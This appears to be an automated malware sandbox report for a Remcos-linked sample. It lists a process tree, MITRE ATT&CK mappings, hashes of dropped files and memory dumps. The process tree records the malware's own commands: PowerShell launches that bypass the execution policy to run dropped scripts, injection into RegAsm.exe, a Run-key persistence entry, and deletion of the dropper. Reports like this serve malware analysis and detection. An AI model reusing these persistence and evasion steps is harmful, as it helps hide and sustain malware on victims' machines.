    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2028
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
      4⤵
      PID:1652
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\tqnrq.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4828
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2076
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs"
      4⤵
      PID:560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
9a6e88d25096b65d3117f153c72f948a

SHA1
654af4d5d1c6c46a7ccde71b6cbedd137734cbe0

SHA256
b371147b8406092f9abee000df0ce27640340770e08c47dc313ab509d7f9c372

SHA512
3104fffc0ec1e90977e18aaed0e846b6797448be7d2e7875869e6ed620ab988e87b32f15cbe5dd699dd9ec197ee22c1ade83cd4cbc00d1be4a446a69a039d489

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\tqnrq.ps1

Filesize
1.7MB

MD5
46153d1e4e7f4151898a8c84bbfa1037

SHA1
eb4dcd68cce1346869a5c2ec55430968ab683df5

SHA256
6104acedbcfcdaa76ad7e685a79d2581af61e8763f0b57c587df52c870a7a708

SHA512
b4ead3814d5f8d04eaef62b0b457878f08453917b3de06b1fa2a9e67bf6107240fb98fbee8a09aae86ab9b21f5a1e321f5915dfbe179bd95cdb2a0a34bd69914

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Filesize
334B

MD5
67cbfaaa070952232e7690e565f59a67

SHA1
6853fc3c1a0cc215ac5edaba8eb2b7bbc3b8ac4e

SHA256
a6b849896d784cfec8eb3f214f53608ae21983b1d60d32c82b2e039f55a5ac20

SHA512
c682e59212c5e053b074b08de9f7528432f8831d72b9a6810e73f3dd35efee66485249856f320aff40250da5066eb0f79b7d00cf664daef804c2546221137df2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
33e80cc4969a211a719ff8bf4f6b2078

SHA1
5ad4c0589339e0859b0aae8e43ce508763bdc78a

SHA256
f1bff7a22e4edbd9e172774c175e9324f28315c78012de80316da61c4e21de2b

SHA512
d3113e2d45080897e1f0a7d21a483b2d9e435930a8d94ec351bbdf7888f335b585d70d5cdb16d3632a4f90396e696244990e03df232c2ed4f5d3663ac5bcf94c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
721991167161c45d61b03e4dbad4984b

SHA1
fd3fa85d142b5e8d4906d3e5bfe10c5347958457

SHA256
0a7be18529bdbed6fc9f36118a6147920d31099ee0fb5a2a8b6b934d1b9bcefb

SHA512
f1aa4f8e48eeb5b5279530d8557cb292a08b25ad46af0dd072130c395127f6c064c88b04910c626c13f22462104ac3d36fa0d4064fff0ec7528922df54ecdcf0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qkfosl35.pma.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2028-22-0x000002189A520000-0x000002189A52A000-memory.dmp

Filesize
40KB

Download
memory/2076-73-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-94-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-95-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-87-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-68-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-86-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-78-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2076-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3244-0-0x00007FFBE9C63000-0x00007FFBE9C65000-memory.dmp

Filesize
8KB

Download
memory/3244-1-0x0000016A6D200000-0x0000016A6D222000-memory.dmp

Filesize
136KB

Download
memory/3244-37-0x00007FFBE9C60000-0x00007FFBEA721000-memory.dmp

Filesize
10.8MB

Download
memory/3244-11-0x00007FFBE9C60000-0x00007FFBEA721000-memory.dmp

Filesize
10.8MB

Download
memory/3244-44-0x00007FFBE9C60000-0x00007FFBEA721000-memory.dmp

Filesize
10.8MB

Download
memory/3244-12-0x00007FFBE9C60000-0x00007FFBEA721000-memory.dmp

Filesize
10.8MB

Download
memory/3244-36-0x00007FFBE9C63000-0x00007FFBE9C65000-memory.dmp

Filesize
8KB

Download
memory/4828-58-0x000002E981900000-0x000002E98190A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads